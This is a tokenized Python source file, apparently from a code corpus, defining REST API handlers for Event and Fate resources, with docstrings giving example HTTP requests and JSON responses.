"(_", "\"", "No", " ", "suc", "h", " ", "Event", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "event_", "._", "to", "\\u", "dict_", "(_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "expand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Event", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "put_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Update", " ", "an", " ", "Event", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", "*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Event", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Delete", " ", "an", " ", "Event", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", "*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Fat", "es", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Fat", "es", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Creat", "e", " ", "a", " ", "Fat", "e", " ", "entry", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "fat", "es", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Event", "Type", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "is", " ", "a", " ", "fat", "e", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "follow", "s", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "Creat", "or", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "201", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Locat", "ion", ":", " ", "/", "api", "/", "v1", "/", "fat", "es", "/", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "fat", "es", "/", "3", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Event", "Type", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "follow", "s", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "prece", "des", "Id", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "Creat", "or", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "is", " ", "a", " ", "fat", "e", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "int", " ", "creati", "on", "Event", "Type", "Id", ":", " ", "the", " ", "ID", " ", "of", " ", "the", " ", "Event", "Type", " ", "tha", "t", " ", "trigger", "s", " ", "this", " ", "Fat", "e", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "int", " ", "follow", "s", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "ID", " ", "of", " ", "the", " ", "Fat", "e", " ", "this", " ", "Fat", "e", " ", "must", " ", "come", " ", "after", ",", " ", "or", " ", "null", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "description", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "human", " ", "reada", "ble", " ", "description", " ", "this", " ", "Fat", "e", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "boolean", " ", "for", "Owne", "r", ":", " ", "(*", "option", "al", "*)", " ", "Indicat", "es", " ", "tha", "t", " ", "Labo", "rs", " ", "created", " ", "by", " ", "this", " ", "Fat", "e", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "wou", "ld", " ", "be", " ", "designate", "d", " ", "for", " ", "action", " ", "by", " ", "the", " ", "server", " ", "owner", ".", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "Default", ":", " ", "true", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "boolean", " ", "for", "Creat", "or", ":", " ", "(*", "option", "al", "*)", " ", "Indicat", "es", " ", "tha", "t", " ", "Labo", "rs", " ", "created", " ", "by", " ", "this", " ", "Fat", "e", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "wou", "ld", " ", "be", " ", "designate", "d", " ", "for", " ", "action", " ", "by", " ", "the", " ", "Quest", " ", "owner", ".", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "Default", ":", " ", "fal", "se", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "resh", "eader", " ", "Locat", "ion", ":", " ", "URL", " ", "to", " ", "the", " ", "created", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "201", ":", " ", "The", " ", "Fat", "e", " ", "was", " ", "success", "full", "y", " ", "created", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "creati", "on", "\\u", "event", "\\u", "type", "\\u", "id_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "creati", "on", "Event", "Type", "Id", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "follow", "s", "\\u", "id_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "follow", "s", "Id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for", "\\u", "creator_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "for", "Creat", "or", "\"_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for", "\\u", "owner_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "for", "Owne", "r", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "description", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "FA", "TE", ":", " ", "Creat", "e", " ", "fat", "e", " ", "(", "event", "-", "type", " ", "{}", ",", " ", "follow", "s", " ", "{}", ",", " ", "for", " ", "creat", "or", " ", "{}", ",", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "for", " ", "owner", " ", "{}", ",", " ", "desc", " ", "{})\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "creati", "on", "\\u", "event", "\\u", "type", "\\u", "id_", ",_", "follow", "s", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "for", "\\u", "creator_", ",_", "for", "\\u", "owner_", ",_", "description_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "creati", "on", "\\u", "event", "\\u", "type_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Event", "Type_", ")_", "._", "get_", "(_", "creati", "on", "\\u", "event", "\\u", "type", "\\u", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "creati", "on", "\\u", "event", "\\u", "type_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "\\u", "error_", "(_", "400_", ",_", "message_", "=_", "\"", "Ba", "d", " ", "creati", "on", " ", "event", " ", "type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "e_", "=_", "Fat", "e_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", ",_", "creati", "on", "\\u", "event", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "follow", "s", "\\u", "id_", "=_", "follow", "s", "\\u", "id_", ",_", "for", "\\u", "creator_", "=_", "for", "\\u", "creator_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "for", "\\u", "owner_", "=_", "for", "\\u", "owner_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "description_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "err_", "._", "orig_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exc_", "._", "Validat", "ion", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "session_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "fat", "e_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "[_", "\"", "href", "\"_", "]_", "=_", "\"/", "api", "/", "v1", "/", "fat", "es", "/{}\"_", "._", "format_", "(_", "fat", "e_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "created_", "(_", "\"/", "api", "/", "v1", "/", "fat", "es", "/{}\"_", "._", "format_", "(_", "fat", "e_", "._", "id_", ")_", ",_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "FA", "TE", ":", " ", "Creat", "ed", " ", "fat", "e", " ", "{}", " ", "(", "event", "-", "type", " ", "{}", ",", " ", "follow", "s", " ", "{}", ",", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "for", " ", "creat", "or", " ", "{}", ",", " ", "for", " ", "owner", " ", "{}", ",", " ", "desc", " ", "{})\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "fat", "e_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "creati", "on", "\\u", "event", "\\u", "type", "\\u", "id_", ",_", "follow", "s", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "for", "\\u", "creator_", ",_", "for", "\\u", "owner_", ",_", "description_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fat", "es", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "all", " ", "Fat", "es", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "fat", "es", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Fat", "es", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "fat", "es", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "fat", "es", "/", "1", "\",", "\\", "10", ";", " ", " ", "\"", "creati", "on", "Event", "Type", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "follow", "s", "Id", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", "\"", "prece", "des", "Id", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", "\"", "for", "Creat", "or", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", "\"", "prece", "des", "Id", "s", "\":", " ", "[", "3", ",", " ", "5", "],", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "is", " ", "a", " ", "fat", "e", "\",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "to", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "event", "types", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fat", "es_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Fat", "e_", ")_", "._", "order", "\\u", "by_", "(_", "Fat", "e_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fat", "es_", ",_", "total_", "=_", "self_", "._", "paginate", "\\u", "query_", "(_", "fat", "es_", ",_", "offset_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fat", "es", "\\u", "json_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "fat", "e_", "._", "to", "\\u", "dict_", "(_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "fat", "e_", "in_", "fat", "es_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "limit", "\"_", ":_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "offset", "\"_", ":_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Fat", "es", "\"_", ":_", "total_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "fat", "es", "\"_", ":_", "fat", "es", "\\u", "json_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Fat", "e", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Fat", "e", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "a", " ", "specific", " ", "Fat", "e", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "fat", "es", "/", "1", "/", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "fat", "es", "/", "1", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Event", "Type", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "follow", "s", "Id", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "prece", "des", "Id", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "Creat", "or", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "Owne", "r", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "string", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Fat", "e", " ", "to", " ", "retrieve", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "int", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "event", "types", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Fat", "e", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fat", "e_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Fat", "e_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "fat", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Fat", "e", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "fat", "e_", "._", "to", "\\u", "dict_", "(_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fat", "e", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "put_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Update", " ", "a", " ", "Fat", "e", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "PU", "T", " ", "/", "api", "/", "v1", "/", "fat", "es", "/", "3", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "New", " ", "desc", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "follow", "s", "Id", "\":", " ", "1", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", 